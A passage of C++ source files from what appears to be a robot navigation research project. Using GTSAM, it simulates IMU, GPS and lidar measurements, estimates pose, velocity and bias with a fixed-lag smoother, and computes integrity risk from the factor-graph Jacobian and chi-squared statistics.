this->b_gyro_x.value= bias_error[3];
this->b_gyro_y.value= bias_error[4];
this->b_gyro_z.value= bias_error[5];
};
Error roll;
Error pitch;
Error yaw;
Error x;
Error y;
Error z;
Error v_x;
Error v_y;
Error v_z;
Error b_accel_x;
Error b_accel_y;
Error b_accel_z;
Error b_gyro_x;
Error b_gyro_y;
Error b_gyro_z;
};
// -------------------------------------------------------
class Residuals {
public:
Residuals() {};
Residual odom;
Residual gps;
Residual lidar;
Residual prior_pose;
Residual prior_vel;
Residual prior_bias;
Residual marginalized_prior;
Residual sum;
};
// -------------------------------------------------------
class Variances {
public:
Variances() {};
Variances(const gtsam::Matrix &P_x,
const gtsam::Matrix &P_v,
const gtsam::Matrix &P_b){
/*
The covariance matrices for:
- P_x: position (6x6)
- P_v: linear velocity (3x3)
- P_b: IMU bias (6x6)
*/
// pose
this->roll.value= P_x(0,0);
this->pitch= Variance(P_x(1,1));
this->yaw= Variance(P_x(2,2));
this->x= Variance(P_x(3,3));
this->y= Variance(P_x(4,4));
this->z= Variance(P_x(5,5));
// velocity
this->v_x= Variance(P_v(0,0));
this->v_y= Variance(P_v(1,1));
this->v_z= Variance(P_v(2,2));
// IMU biases
this->b_accel_x= Variance(P_b(0,0));
this->b_accel_y= Variance(P_b(1,1));
this->b_accel_z= Variance(P_b(2,2));
this->b_gyro_x= Variance(P_b(3,3));
this->b_gyro_y= Variance(P_b(4,4));
this->b_gyro_z= Variance(P_b(5,5));
};
Variance roll;
Variance pitch;
Variance yaw;
Variance x;
Variance y;
Variance z;
Variance v_x;
Variance v_y;
Variance v_z;
Variance b_accel_x;
Variance b_accel_y;
Variance b_accel_z;
Variance b_gyro_x;
Variance b_gyro_y;
Variance b_gyro_z;
};
// -------------------------------------------------------
class Solution{
/*
Object that stores one solution of the solver.
It can also print the solution and write it to a file
*/
public:
Solution(const gtsam::IncrementalFixedLagSmoother &fixed_lag_smoother,
const gtsam::Values &result,
const Counters &counters,
const ConstantTwistScenario &scenario,
const std::string &workspace,
const LIR &lir);
// time of the solution
double time;
// variance
Variances variances;
// estimate state (15dof)
gtsam::NavState nav_state;
gtsam::imuBias::ConstantBias imu_bias;
// true state (15dof)
gtsam::NavState true_nav_state;
// error (15 dof)
Eigen::Matrix<double, 15, 1> error;
StateErrors errors;
// residuals
Residuals residuals;
// LIR
LIR lir;
/*
writes the solution to this file
*/
bool write_to_file(const std::string &workspace);
};
<file_sep>/helpers.cpp
#include "helpers.h"
using namespace std;
using namespace gtsam;
// -------------------------------------------------------
default_random_engine
initialize_noise_generator(int seed){
LOG(TRACE)<< "Enter initialize_noise_generator";
default_random_engine noise_generator;
if (seed == -1) {
noise_generator.seed(std::chrono::system_clock::now().time_since_epoch().count());
} else {
noise_generator.seed(seed);
}
LOG(TRACE)<< "Exit initialize_noise_generator";
return noise_generator;
}
// -------------------------------------------------------
Point3 generate_random_point(std::default_random_engine &generator, std::normal_distribution<double> &distribution) {
return Point3(distribution(generator),
distribution(generator),
distribution(generator));
}
// -------------------------------------------------------
// -------------------------------------------------------
Vector6 error_average(std::vector<Pose3> poses){
Vector3 ave_translation, ave_rotation; // deault constructor -> zero translation
for (std::vector<Pose3>::iterator it = poses.begin() ; it != poses.end(); ++it) {
ave_translation += abs( it->translation() );
ave_rotation += abs(Vector3( it->rotation().roll(),
it->rotation().pitch(),
it->rotation().yaw() ));
}
return (Vector(6) << ave_rotation / poses.size(),
ave_translation / poses.size() ).finished();
}
// -------------------------------------------------------
// -------------------------------------------------------
ConstantTwistScenario create_constant_twist_scenario(double radius, double linear_velocity) {
LOG(TRACE)<< "Enter create_constant_twist_scenario";
// Start with a camera on x-axis looking at origin (only use pose_0 from here to generate the scenario)
const Point3 up(0, 0, 1), target(0, 0, 0);
const Point3 position(radius, 0, 0);
const SimpleCamera camera = SimpleCamera::Lookat(position, target, up);
const Pose3 pose_0 = camera.pose();
// Now, create a constant-twist scenario that makes the camera orbit the origin
double angular_velocity = linear_velocity / radius; // rad/sec
Vector3 angular_velocity_vector(0, -angular_velocity, 0);
Vector3 linear_velocity_vector(linear_velocity, 0, 0);
LOG(TRACE)<< "Exit create_constant_twist_scenario";
return ConstantTwistScenario(angular_velocity_vector, linear_velocity_vector, pose_0);
}
// -------------------------------------------------------
// -------------------------------------------------------
std::vector<Point3> create_landmarks(double radius){
LOG(TRACE)<< "Enter create_landmarks";
double distance = radius + radius/10;
std::vector<Point3> landmarks;
landmarks.push_back( Point3(distance, 0, distance) );
landmarks.push_back( Point3(0, distance, -distance) );
landmarks.push_back( Point3(-distance, 0, distance) );
landmarks.push_back( Point3(0, -distance, -distance) );
LOG(TRACE)<< "Exit create_landmarks";
return landmarks;
}
// -------------------------------------------------------
// -------------------------------------------------------
std::vector<int> returnIncrVector(int start, int num_elem){
vector<int> v(num_elem);
iota (begin(v), end(v), start);
return v;
}
// -------------------------------------------------------
// -------------------------------------------------------
Matrix extractJacobianRows(Matrix &M, vector<int> &row_inds){
Matrix h_M( row_inds.size(), row_inds.size() );
for (int i = 0; i < row_inds.size(); ++i){
for (int j = 0; j < row_inds.size(); ++j){
h_M(i,j) = M(row_inds[i], row_inds[j]);
}
}
return h_M;
}
// -------------------------------------------------------
// -------------------------------------------------------
Matrix extract_matrix_rows(Matrix &A, vector<int> &row_inds){
Matrix B(row_inds.size(), A.cols());
for (int i = 0; i < row_inds.size(); ++i){
for (int j = 0; j < B.cols(); ++j){
B(i,j)= A(row_inds[i], j);
}
}
return B;
}
// -------------------------------------------------------
// -------------------------------------------------------
Matrix extract_matrix_columns(Matrix &A, vector<int> &col_inds){
Matrix B(A.rows(), col_inds.size());
for (int j = 0; j < col_inds.size(); ++j){
for (int i = 0; i < B.rows(); ++i){
B(i,j)= A(i, col_inds[j]);
}
}
return B;
}
// -------------------------------------------------------
// -------------------------------------------------------
Matrix extract_matrix_rows_and_columns(Matrix &A,
vector<int> &row_inds,
vector<int> &col_inds){
Matrix B( row_inds.size(), col_inds.size() );
for (int i = 0; i < row_inds.size(); ++i){
for (int j = 0; j < col_inds.size(); ++j){
B(i,j) = A(row_inds[i], col_inds[j]);
}
}
return B;
}
// -------------------------------------------------------
// -------------------------------------------------------
void printIntVector(vector<int> v){
for (auto i = v.begin(); i != v.end(); ++i)
cout << *i << ' ';
cout<< '\n';
}
// -------------------------------------------------------
// -------------------------------------------------------
void printMatrix(Matrix A){
Eigen::IOFormat CleanFmt(3, 0, ", ", "\n", "[", "]");
cout<< A.format(CleanFmt)<< endl;
}
// -------------------------------------------------------
// -------------------------------------------------------
Pose3 compute_error(Pose3 true_pose,
Pose3 estimated_pose){
Rot3 rotation_error = true_pose.rotation() *
Rot3( estimated_pose.rotation().transpose() );
Point3 translation_error = true_pose.translation() -
estimated_pose.translation();
return Pose3( rotation_error, translation_error );
}
// -------------------------------------------------------
// -------------------------------------------------------
RangeBearingMeasurement sim_lidar_msmt(ConstantTwistScenario &scenario,
Point3 &landmark,
double time,
Params ¶ms,
std::default_random_engine noise_generator,
bool is_noisy){
// range
double range = scenario.pose(time).range(landmark);
if (is_noisy){
double range_noise= params.noise_dist["range"](noise_generator);
range= range + range_noise;
}
// bearing
Unit3 bearing = scenario.pose(time).bearing(landmark);
if (is_noisy){
Rot3 bearing_noise = Rot3::RzRyRx(params.noise_dist["bearing"](noise_generator),
params.noise_dist["bearing"](noise_generator),
params.noise_dist["bearing"](noise_generator));
bearing = bearing_noise.rotate(bearing);
}
// create measurement object
RangeBearingMeasurement msmt(range, bearing);
return msmt;
}
// -------------------------------------------------------
// -------------------------------------------------------
double get_dof_from_graph(const NonlinearFactorGraph &graph,
const Counters &counters){
int dim= 0, factor_count= -1;
for (auto factor : graph){
++factor_count;
if (!factor) {continue;}
if (counters.types[factor_count] == "odom"){
dim += 6;
}else if(counters.types[factor_count] == "marginalized_prior"){
dim += 0;
}else{
dim += factor->dim();
}
}
return dim;
}
// -------------------------------------------------------
// -------------------------------------------------------
map<string, Vector> buildt_vector(int size){
map<string, Vector> t_vector;
t_vector["x"]= Vector::Zero(size);
t_vector["y"]= Vector::Zero(size);
t_vector["z"]= Vector::Zero(size);
t_vector["x"](size-11)= 1;
t_vector["y"](size-10)= 1;
t_vector["z"](size-9)= 1;
const Eigen::IOFormat eigen_fmt;
LOG(DEBUG)<< "t-vector: ";
LOG(DEBUG)<< "x: "<< t_vector["x"].transpose().format(eigen_fmt);
LOG(DEBUG)<< "y: "<< t_vector["y"].transpose().format(eigen_fmt);
LOG(DEBUG)<< "z: "<< t_vector["z"].transpose().format(eigen_fmt);
return t_vector;
}
// -------------------------------------------------------
// -------------------------------------------------------
map<string, double>
get_variances_for_last_pose(
const IncrementalFixedLagSmoother &fixed_lag_smoother,
const Counters &counters) {
LOG(TRACE)<< "Enter get_variances_for_last_pose";
// initilize map
map<string, double> var;
// get the matrices
Matrix P_x= fixed_lag_smoother.marginalCovariance(X(counters.current_factor));
Matrix P_v= fixed_lag_smoother.marginalCovariance(V(counters.current_factor));
Matrix P_b= fixed_lag_smoother.marginalCovariance(B(counters.current_factor));
// pose
var["roll"]= P_x(0,0);
var["pitch"]= P_x(1,1);
var["yaw"]= P_x(2,2);
var["x"]= P_x(3,3);
var["y"]= P_x(4,4);
var["z"]= P_x(5,5);
// velocity
var["vx"]= P_v(0,0);
var["vy"]= P_v(1,1);
var["vz"]= P_v(2,2);
// IMU biases
var["b_accel_x"]= P_b(0,0);
var["b_accel_y"]= P_b(1,1);
var["b_accel_z"]= P_b(2,2);
var["b_gyro_x"]= P_b(3,3);
var["b_gyro_y"]= P_b(4,4);
var["b_gyro_z"]= P_b(5,5);
LOG(TRACE)<< "Exit get_variances_for_last_pose";
return var;
}
// -------------------------------------------------------
// -------------------------------------------------------
Variances
get_variances_for_last_pose_new(
const IncrementalFixedLagSmoother &fixed_lag_smoother,
const Counters &counters) {
LOG(TRACE)<< "Enter get_variances_for_last_pose";
// get the matrices
Matrix P_x= fixed_lag_smoother.marginalCovariance(X(counters.current_factor));
Matrix P_v= fixed_lag_smoother.marginalCovariance(V(counters.current_factor));
Matrix P_b= fixed_lag_smoother.marginalCovariance(B(counters.current_factor));
LOG(TRACE)<< "Exit get_variances_for_last_pose";
return Variances(P_x, P_v, P_b);
}
// -------------------------------------------------------
// -------------------------------------------------------
Eigen::Matrix<double, 15, 1>
get_last_pose_P_diag(const IncrementalFixedLagSmoother &fixed_lag_smoother,
const Counters &counters) {
LOG(TRACE)<< "Enter get_last_pose_P_diag";
// initilize
Eigen::Matrix<double, 15, 1> var_diag;
// get the matrices
var_diag.head<6>()= fixed_lag_smoother.marginalCovariance(X(counters.current_factor)).diagonal();
var_diag.segment<3>(6)= fixed_lag_smoother.marginalCovariance(V(counters.current_factor)).diagonal();
var_diag.tail<6>()= fixed_lag_smoother.marginalCovariance(B(counters.current_factor)).diagonal();
LOG(TRACE)<< "Exit get_last_pose_P_diag";
return var_diag;
}
// -------------------------------------------------------
// -------------------------------------------------------
gtsam::Point3
sim_gps_msmt(const Point3 &true_position,
std::default_random_engine &noise_generator,
std::normal_distribution<double> &gps_distribution,
bool is_noisy){
if (is_noisy){
Point3 gps_noise(generate_random_point(noise_generator, gps_distribution));
return true_position + gps_noise;
}else{
return true_position;
}
}
// -------------------------------------------------------
// -------------------------------------------------------
Vector3 sim_imu_acc(ConstantTwistScenario &scenario,
std::default_random_engine &noise_generator,
std::normal_distribution<double> &imu_acc_dist,
gtsam::Vector3 g,
double time,
bool is_noisy){
Vector3 msmt_acc = scenario.acceleration_b(time) -
scenario.rotation(time).transpose() * g;
if (is_noisy){
Point3 acc_noise = generate_random_point( noise_generator, imu_acc_dist );
msmt_acc= msmt_acc + acc_noise.vector();
}
return msmt_acc;
}
// -------------------------------------------------------
// -------------------------------------------------------
Vector3 sim_imu_w(Vector3 true_imu_w,
std::default_random_engine &noise_generator,
std::normal_distribution<double> &imu_gyro_dist,
bool is_noisy){
if (is_noisy){
Point3 gyro_noise = generate_random_point( noise_generator, imu_gyro_dist );
return true_imu_w + gyro_noise.vector();
} else {
return true_imu_w;
}
}
// -------------------------------------------------------
// -------------------------------------------------------
int return_first_element(const pair<int, double> &p){
return p.first;
}
// -------------------------------------------------------
// -------------------------------------------------------
string prepare_log(const Params ¶ms){
LOG(TRACE)<< "Enter prepare_log";
// create a string with todays day + time
time_t rawtime;
struct tm * timeinfo;
char buffer[80];
time (&rawtime);
timeinfo = localtime(&rawtime);
strftime(buffer, sizeof(buffer), "%d-%m-%Y-%H-%M-%S", timeinfo);
string workspace(buffer);
workspace= "../results/" + workspace;
// Load configuration from file
el::Configurations conf(params.logger_config_file);
conf.parseFromText("*GLOBAL:\n FILENAME = "
+ workspace
+ "/log.log");
el::Loggers::reconfigureAllLoggers(conf);
LOG(DEBUG) << "Logger initialized";
// create the folder
LOG(DEBUG)<< "creating folder "<< workspace;
string cmd("mkdir -p " + workspace);
system(cmd.c_str());
// create residuals file with names in first line
fstream stream;
string filename= workspace + "/residuals.csv";
stream.open(filename.c_str(), fstream::out);
stream << "time imu gps lidar ";
stream << "prior_pose prior_vel prior_bias ";
stream << "marginalized_prior sum ";
stream << "#imu #gps #lidar ";
stream << "#prior_pose #prior_vel ";
stream << "#marginalized_prior #sum\n";
stream.close();
// create errors file with names in first line
filename= workspace + "/errors.csv";
stream.open(filename.c_str(), fstream::out);
stream << "time roll pitch yaw x y z ";
stream << "v_body_x v_body_y v_body_z ";
stream << "biad_accel_x biad_accel_y biad_accel_z ";
stream << "biad_gyro_x biad_accel_y biad_accel_z\n";
stream.close();
// create estimated_state file with names in first line
filename= workspace + "/estimated_states.csv";
stream.open(filename.c_str(), fstream::out);
stream << "time roll pitch yaw x y z ";
stream << "v_body_x v_body_y v_body_z ";
stream << "bias_accel_x bias_accel_y bias_accel_z ";
stream << "bias_gyro_x bias_gyro_y bias_gyro_z\n";
stream.close();
// create true_state file with names in first line
filename= workspace + "/true_states.csv";
stream.open(filename.c_str(), fstream::out);
stream << "time roll pitch yaw x y z ";
stream << "v_body_x v_body_y v_body_z\n";
stream.close();
// create variance file with names in first line
filename= workspace + "/variances.csv";
stream.open(filename.c_str(), fstream::out);
stream << "time roll pitch yaw x y z ";
stream << "v_x v_y v_z ";
stream << "bias_accel_x bias_accel_y bias_accel_z ";
stream << "bias_gyro_x bias_gyro_y bias_gyro_z\n";
stream.close();
// create lir file with names in first line
filename= workspace + "/lir.csv";
stream.open(filename.c_str(), fstream::out);
stream << "time null_x null_y null_z "
"lidar_x lidar_y lidar_z "
"gps_x gps_y gps_z\n";
stream.close();
// copy the params
cmd= "cp ../params.txt " + workspace;
system(cmd.c_str());
// add the workspace to params
filename= workspace + "/params.txt";
stream.open(filename.c_str(), fstream::app);
stream << "workspace= "<< workspace<< "\n";
stream.close();
LOG(TRACE) << "Exit prepare_log";
return workspace;
}
// -------------------------------------------------------
// -------------------------------------------------------
// std::vector<std::string> return_unique_vector(std::vector<string> vec){
// sort( vec.begin(), vec.end() );
// vec.erase( unique( vec.begin(), vec.end() ), vec.end() );
// return vec;
// }
// -------------------------------------------------------
/*
deprecated
*/
// -------------------------------------------------------
// -------------------------------------------------------
// -------------------------------------------------------
void save_data(Values result,
std::vector<Point3> true_positions,
std::vector<Point3> landmarks,
std::vector<Pose3> online_error){
LOG(TRACE)<< "Enter save_data";
// initialize variables
string filename = "";
fstream stream;
// write estimated poses into file
filename = "../results/estimated_positions.csv";
stream.open(filename.c_str(), fstream::out);
stream << "--------------- Estimated Positions ---------------"<< endl;
for(const Values::ConstKeyValuePair& key_value: result) {
if ( typeid(key_value.value) == typeid(gtsam::GenericValue<gtsam::Pose3>) ) {
const Pose3& write_pose = key_value.value.cast<Pose3>();
stream << write_pose.x() << "," << write_pose.y() << "," << write_pose.z() << endl;
}
}
stream.close();
// write true poses into a file
filename = "../results/true_positions.csv";
stream.open(filename.c_str(), fstream::out);
stream << "--------------- True Positions ---------------"<< endl;
for (std::vector<Point3>::iterator it = true_positions.begin() ; it != true_positions.end(); ++it) {
stream << it->x() << "," << it->y() << "," << it->z() << endl;
}
stream.close();
// write errors into a file
filename = "../results/errors.csv";
stream.open(filename.c_str(), fstream::out);
stream << "--------------- Errors ---------------"<< endl;
stream << "x[m] \t y[m] \t z[m] \t rho[deg] \t pitch[deg] \t yaw[deg]"<< endl;
for (std::vector<Pose3>::iterator it = online_error.begin() ; it != online_error.end(); ++it) {
stream << it->translation().x() <<","
<< it->translation().y() <<","
<< it->translation().z() <<","
<< (it->rotation()).roll() <<","
<< (it->rotation()).pitch() << ","
<< (it->rotation()).yaw() << endl;
}
stream.close();
// write the average errors
filename = "../results/average_errors.csv";
stream.open(filename.c_str(), fstream::out);
stream << "--------------- Average Error ---------------"<< endl;
Vector6 ave_error = error_average(online_error);
stream << ave_error[0] * 180/M_PI <<","<< ave_error[1] * 180/M_PI <<","<< ave_error[2] * 180/M_PI<<","
<< ave_error[3] <<","<< ave_error[4] <<","<< ave_error[5]<< endl;
stream.close();
LOG(TRACE)<< "Exit save_data";
}
// -------------------------------------------------------
// -------------------------------------------------------
void eliminateFactorsByType_old(
boost::shared_ptr<GaussianFactorGraph> &lin_graph,
vector<string> factor_types,
string type){
typedef FastVector<boost::shared_ptr<GaussianFactor>>::iterator
sharedGaussianFactorIterator;
sharedGaussianFactorIterator it = lin_graph->begin();
int num_elim_factors = 0;
for (int i = 0; i < factor_types.size(); ++i){
cout<< "factor "<< i<< " is of type "<< factor_types[i]<< endl;
if (factor_types[i] == type) {
lin_graph->erase(it + i - num_elim_factors);
cout<< "erase factor of type "<< type<< endl;
++num_elim_factors;
}
}
}
// -------------------------------------------------------
// -------------------------------------------------------
Matrix eliminateFactorsByType(Matrix &M,
map<string, vector<int>> &A_rows_per_type,
string type){
/*
extract the matrix corresponding to the measurements of this type
*/
return extractJacobianRows(M, A_rows_per_type[type]);
}
// -------------------------------------------------------
// -------------------------------------------------------
double getDOFfromGraph(map<string, vector<int>> &A_rows_per_type){
double dof= 0;
for (map<string, vector<int>>::iterator it= A_rows_per_type.begin();
it != A_rows_per_type.end();
++it){
string factor_type = it->first;
double factor_n= (it->second).size();
dof += getDOFfromFactorType(factor_n, factor_type);
}
return dof;
}
// -------------------------------------------------------
// -------------------------------------------------------
double getDOFfromFactorType(int n, string type){
if (type == "odom"){
int num_odom_factors= n / 15;
return n - (num_odom_factors * 3);
}else{
return n;
}
}
// -------------------------------------------------------
// -------------------------------------------------------
map<string,double> getVariancesForLastPose(ISAM2 &isam,
Counters &counters){
map<string,double> var;
Matrix P_x= isam.marginalCovariance(X(counters.current_factor));
var["roll"]= P_x(0,0);
var["pitch"]= P_x(1,1);
var["yaw"]= P_x(2,2);
var["x"]= P_x(3,3);
var["y"]= P_x(4,4);
var["z"]= P_x(5,5);
return var;
}<file_sep>/helpers.h
/*
Helper functions for the main code.
*/
#pragma once
#include <random>
#include <fstream>
#include <iostream>
#include <gtsam/geometry/SimpleCamera.h>
#include <gtsam/nonlinear/NonlinearFactor.h>
#include <gtsam/navigation/Scenario.h>
#include <gtsam/slam/PriorFactor.h>
#include <gtsam/navigation/GPSFactor.h>
#include <gtsam/navigation/CombinedImuFactor.h>
#include <gtsam/inference/Symbol.h>
#include <gtsam/nonlinear/ISAM2.h>
#include <gtsam_unstable/nonlinear/IncrementalFixedLagSmoother.h>
#include <gtsam/navigation/ImuBias.h>
#include <vector>
#include <string>
#include <chrono>
#include <ctime>
#include <boost/log/trivial.hpp>
#include <boost/log/utility/setup/file.hpp>
#include <boost/log/expressions.hpp>
#include <Eigen/Dense>
#include "third_party/easyloggingpp/src/easylogging++.h"
#include "Solution.h"
#include "RangeBearingFactorMap.h"
#include "Params.h"
#include "RangeBearingMeasurement.h"
#include "Counters.h"
using namespace gtsam;
using namespace std;
// Shorthand for velocity and pose variables
using symbol_shorthand::X;
using symbol_shorthand::V;
using symbol_shorthand::B;
/*
Initializes the noise generator engine with the seed.
If seed is -1, sets a random seed with the current time
*/
std::default_random_engine
initialize_noise_generator(int seed);
/*
Generate a random 3D point from the given distribution
*/
gtsam::Point3
generate_random_point(
std::default_random_engine &generator,
std::normal_distribution<double> &distribution);
/*
Compute average of vector of poses is a 6D vector
(roll, pitch, yaw, x, y, z)
*/
gtsam::Vector6 error_average(std::vector<Pose3> poses);
/*
Return int vector with increasing values
e.g. returnIncrVector(3, 2) --> (3,4)
*/
std::vector<int> returnIncrVector(int start,
int num_elem);
/*
Creates the ground truth from where we simulate the
measurements. The simulated robot moves in circles at a
constant speed.
*/
gtsam::ConstantTwistScenario
create_constant_twist_scenario(double radius = 30,
double linear_velocity = 25);
/*
Creates the map of landmarks and stores them in a vector
of 3D points.
TODO: read landmarks from text file.
*/
std::vector<Point3> create_landmarks(double radius);
/*
Extracts the rows from the matrix and return a new matrix
TODO: check if there is an inbuilt function
*/
gtsam::Matrix
extract_matrix_rows(gtsam::Matrix &A,
std::vector<int> &row_inds);
/*
Extracts the columns from the matrix and return a new matrix
TODO: check if there is an inbuilt function
*/
gtsam::Matrix
extract_matrix_columns(gtsam::Matrix &A,
std::vector<int> &col_inds);
/*
Extract matrix rows and columns and return matrix
*/
gtsam::Matrix
extract_matrix_rows_and_columns(
gtsam::Matrix &A,
std::vector<int> &row_inds,
std::vector<int> &col_inds);
/*
Simple function to print vector of ints in terminal
*/
void printIntVector(std::vector<int> v);
/*
Simple function to print matrix with nice format
*/
void printMatrix(gtsam::Matrix A);
/*
Compute error between two poses
convention: error = true - estimated
TODO: check if the rotation follows this convention
*/
gtsam::Pose3
compute_error(gtsam::Pose3 true_pose,
gtsam::Pose3 estimated_pose);
/*
Calculate the effective number of measurements in the
graph. This is trying to deal with the fact that the
effective number of measurements for each IMU factor in
less than 15, which is the number of measurements in
each IMU factor.
*/
double
get_dof_from_graph(const gtsam::NonlinearFactorGraph &graph,
const Counters &counters);
/*
Build t vector. This is the vector that extracts the state
of interest.
*/
std::map<std::string, gtsam::Vector>
buildt_vector(int size);
/*
Returns the variances for the last estimated pose in the
graph as a map.
e.g. var["x"] or var["roll"]
TODO: I think that this are the variances in x-y-z
in the inertial frame. Check if they actually are the
variances in lateral-longitudinal-vertical. If not,
calculate the variances in lateral-longitudinal-vertical.
*/
std::map<std::string, double>
get_variances_for_last_pose(
const gtsam::IncrementalFixedLagSmoother &fixed_lag_smoother,
const Counters &counters);
Variances get_variances_for_last_pose_new(
const IncrementalFixedLagSmoother &fixed_lag_smoother,
const Counters &counters);
/*
Returns the variances for the last estimated pose in the
graph as a map in a 15x1 vector
*/
Eigen::Matrix<double, 15, 1>
get_last_pose_P_diag(const gtsam::IncrementalFixedLagSmoother &fixed_lag_smoother,
const Counters &counters);
/*
Generate lidar (range & bearing) measurements to all
landmarks.
*/
RangeBearingMeasurement
sim_lidar_msmt(gtsam::ConstantTwistScenario &scenario,
gtsam::Point3 &landmark,
double time,
Params ¶ms,
std::default_random_engine noise_generator,
bool is_noisy);
/*
Simulate GPS measurement of the position of the robot.
*/
gtsam::Point3
sim_gps_msmt(const gtsam::Point3 &true_position,
std::default_random_engine &noise_generator,
std::normal_distribution<double> &gps_distribution,
bool is_noisy);
/*
Simulate IMU acceleration measurement. This takes care of the gravity.
*/
gtsam::Vector3 sim_imu_acc(
gtsam::ConstantTwistScenario &scenario,
std::default_random_engine &noise_generator,
std::normal_distribution<double> &imu_acc_dist,
gtsam::Vector3 g,
double time,
bool is_noisy);
/*
Simulate gyro measurement.
*/
gtsam::Vector3 sim_imu_w(
gtsam::Vector3 true_imu_w,
std::default_random_engine &noise_generator,
std::normal_distribution<double> &imu_gyro_dist,
bool is_noisy);
/*
Return first element from a pair
*/
int return_first_element(const std::pair<int, double> &p);
/*
return vector with unique elemets
*/
template<typename T>
std::vector<T> return_unique_vector(std::vector<T> vec){
// sort the elemets firt (required for next step)
sort( vec.begin(), vec.end() );
// set repeated elements to NULL and move them to the end, then erase
vec.erase( unique( vec.begin(), vec.end() ), vec.end());
return vec;
};
/*
creates a folder with the current date + time, i.e.
the workspace and returns the path to the workspace
*/
std::string prepare_log(const Params ¶ms);
// -------------------------------------------------------
/*
DEPRECATED
*/
// -------------------------------------------------------
/*
Saves the following .csv files in the results folder:
- estimated_positions
- true_positions
- errors
- average_errors
- landmarks
Note that each time the simulation is run, this files get
overwritten.
*/
void save_data(gtsam::Values result,
std::vector<Point3> true_positions,
std::vector<Point3> landmarks,
std::vector<Pose3> online_error);
void eliminateFactorsByType_old(
boost::shared_ptr<GaussianFactorGraph> &lin_graph,
vector<string> factor_types,
string type);
Matrix eliminateFactorsByType(Matrix &A,
map<string, vector<int>> &A_rows_per_type,
string type);
Matrix extractJacobianRows(Matrix &A, vector<int> &row_inds);
/*
Calculate the effective number of measurements in the
graph. This is trying to deal with the fact that the
effective number of measurements for each IMU factor in
less than 15, which is the number of measurements in
each IMU factor.
*/
double getDOFfromGraph(
std::map<string, std::vector<int>> &A_rows_per_type);
/*
Calculate the effective number of measurements in all
factors of the type. See getDOFfromGraph.
*/
double getDOFfromFactorType(int dim, std::string type);
/*
Retruns the variances for the last estimated pose in the
graph as a map.
e.g. var["x"] or var["roll"]
TODO: I think that this are the variances in x-y-z
in the inertial frame. Check if they actually are the
variances in lateral-longitudinal-vertical. If not,
calculate the variances in lateral-longitudinal-vertical.
*/
std::map<std::string, double>
getVariancesForLastPose(gtsam::ISAM2 &isam,
Counters &counters);
<file_sep>/post_process.h
#pragma once
#include "helpers.h"
#include "Counters.h"
#include "Params.h"
/*
Post-processing function that extract the factor graph from
the iSAM2 solver and calcualtes the Jacobian A to do all
the calculations. It loops over the hypotheses to compute the
LIR for x, y, and z coordinates in inertial frame.
NOTE: This function is work in progress and is messy.
*/
void post_process(
const gtsam::Values result_fl,
const gtsam::IncrementalFixedLagSmoother &fixed_lag_smoother,
Counters &counters,
const Params ¶ms);
<file_sep>/calculate_LIR.cpp
#include <boost/math/distributions/chi_squared.hpp>
#include <boost/math/distributions/non_central_chi_squared.hpp>
#include <vector>
#include <algorithm>
#include <typeinfo>
// #include "post_process.h"
#include "calculate_LIR.h"
#include "helpers.h"
using namespace std;
using namespace gtsam;
typedef std::vector< std::pair<int, double> > pair_vector;
// -------------------------------------------------------
LIR calculate_LIR(
const Values result,
const IncrementalFixedLagSmoother &fixed_lag_smoother,
Counters &counters,
const Params ¶ms){
LOG(TRACE)<< "Enter calculating_LIR";
// initilize LIR class
LIR lir;
// get the factor graph & Jacobian from isam
NonlinearFactorGraph
factor_graph= fixed_lag_smoother.getFactors();
// log all factors with their types
int factor_count= -1;
for (auto factor : factor_graph) {
++factor_count;
if (!factor){continue;}
LOG(DEBUG)<< "factor #"<< factor_count
<< " dim: "<< factor->dim()
<< " type: "<< counters.types[factor_count]
<< " #keys: "<< factor->keys().size();
}
// get the linear graph
boost::shared_ptr<GaussianFactorGraph>
lin_graph= factor_graph.linearize(fixed_lag_smoother.getLinearizationPoint());
// get matrices
Matrix hessian= (lin_graph->hessian()).first;
Matrix A= (lin_graph->jacobian()).first;
Matrix P= hessian.inverse();
Matrix S = P * A.transpose();
Matrix S_transpose= S.transpose();
// rank of Jacobian A
Eigen::FullPivLU<Matrix> A_lu(A);
A_lu.setThreshold(1e-7);
double A_rank= A_lu.rank();
// get variances for the last state
Variances variances=
get_variances_for_last_pose_new(fixed_lag_smoother,
counters);
// number of measurements and states
LOG(DEBUG)<< "Jacobian matrix, A size = "<< A.rows()<< " x "<< A.cols();
LOG(DEBUG)<< "rank(A): "<< A_rank;
LOG(DEBUG)<< "Hessian (Lambda) matrix size = "<< hessian.rows()<< " x "<< hessian.cols();
LOG(DEBUG)<< "std dev. (roll, pitch, yaw, x, y, z): \n"<< "("
<< variances.roll.std()<< ", "
<< variances.pitch.std()<< ", "
<< variances.yaw.std()<< ", "
<< variances.x.std()<< ", "
<< variances.y.std()<< ", "
<< variances.z.std()<< ")";
// builds a map for vector t for each coordinate
// TODO: change to lat, long, vert (needs rotations)
map<string, Vector>
t_vector= buildt_vector(A.cols());
// upper bound lambda
double effective_n= get_dof_from_graph(factor_graph, counters);
double chi_squared_dof= effective_n - A.cols();
double r= 2 * factor_graph.error(result);
boost::math::chi_squared_distribution<> chi2_dist_lambda(chi_squared_dof);
double lambda= pow( sqrt(r) + sqrt(boost::math::quantile(chi2_dist_lambda, 1-1e-5)), 2 );
LOG(DEBUG)<< "effective number of measurements: "<< effective_n;
LOG(DEBUG)<< "DOF of the chi-squared: "<< chi_squared_dof;
LOG(DEBUG)<< "r: "<< r;
LOG(DEBUG)<< "Non-centrality parameter upper bound, lambda: "<< lambda;
LOG(DEBUG)<< "--> Hypothesis null";
// check matrix M before elimination
Matrix M= (Eigen::MatrixXd::Identity(A.rows(), A.rows()) - A*S);
Eigen::FullPivLU<Matrix> M_lu(M);
M_lu.setThreshold(1e-7);
LOG(DEBUG)<< "size of M = "<< M.rows() << " x "<< M.cols();
LOG(DEBUG)<< "rank of M is " << M_lu.rank();
// compute integrity
boost::math::chi_squared_distribution<> chi2_dist_1dof(1);
{
// set the null hypthesis LIR
H_LIR h_lir;
h_lir.set("x", 1 - boost::math::cdf(chi2_dist_1dof,
pow(params.AL_x / variances.x.std(), 2)) );
h_lir.set("y", 1 - boost::math::cdf(chi2_dist_1dof,
pow(params.AL_y / variances.y.std(), 2)) );
h_lir.set("z", 1 - boost::math::cdf(chi2_dist_1dof,
pow(params.AL_z / variances.z.std(), 2)) );
// set to main LIR variable
lir.set("null", h_lir);
LOG(DEBUG)<< "LIR for h_0 in x: "<< lir.null.x;
LOG(DEBUG)<< "LIR for h_0 in y: "<< lir.null.y;
LOG(DEBUG)<< "LIR for h_0 in z: "<< lir.null.z;
}
// ----------- loop over hypotheses --------------
vector<string>
factor_types= return_unique_vector(counters.types);
